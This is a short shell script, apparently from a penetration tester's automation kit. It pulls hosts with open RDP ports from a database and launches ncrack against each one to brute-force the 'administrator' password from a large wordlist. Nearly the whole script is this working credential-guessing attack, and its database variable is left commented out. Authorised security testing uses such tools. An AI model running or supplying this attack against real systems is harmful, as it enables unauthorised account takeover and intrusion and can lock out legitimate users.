#pre-requisites
source /pentest/AH/pentest.config
_rdpBruteOut=/job/rdpBrute/
mkdir ${_rdpBruteOut}
echo "Need to add a way to check the existence of the /job/rdpBrute, but generically across all autoscripts"
echo "IMPORTANT - THIS SCRIPTS NEEDS PRE-REQUISITES TO CHECK IF IT IS XP AS YOU WILL ONLY WANT ONE CONNECTION ATTEMPT AT A TIME - CL=1"
echo "see http://seclists.org/nmap-dev/2010/g3/450"
#database=/job/test.db
timeoutvalue=300

#body
#http
query='select ipaddress,port from services where service = "microsoft-rdp" and state = "open"'
#cmd="ncrack \${1}:\${2} --user=administrator --pass=/pentest/AH/wordlists/wordlists/LotsOfPasswords.txt > ${_rdpBruteOut}\${1}_\${2}.rdpBrute"

cmd="time timeout "$timeoutvalue" ncrack \${1}:\${2},CL=2 -vvv --user=administrator --pass=/pentest/AH/wordlists/wordlists/LotsOfPasswords.txt"
/opt/python3/bin/python3 /root/workspace/q2ex/src/q2ex.py -d "$database" -q "$query" -c "$cmd"

#post-requisites
